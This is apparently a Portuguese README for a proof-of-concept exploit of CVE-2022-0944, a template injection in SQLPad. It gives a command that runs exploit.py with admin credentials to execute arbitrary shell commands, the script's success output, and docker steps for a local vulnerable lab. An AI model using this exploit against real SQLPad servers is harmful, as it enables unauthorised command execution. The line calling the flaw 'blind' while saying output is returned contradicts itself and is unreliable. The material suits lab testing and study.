CVE-2022-0944

SQLPad - Injeção de template

Esta é uma vulnerabilidade cega, o que significa que a saída é retornada diretamente na resposta.

Exploit

Use o script com o seguinte comando:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

Saída

[*] Login foi bem-sucedido
[*] Explorado!

Ambiente de teste

Usando docker:

• Inicie o container docker - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• Conecte-se ao container docker - sudo docker exec -it vulnerable-sqlpad /bin/bash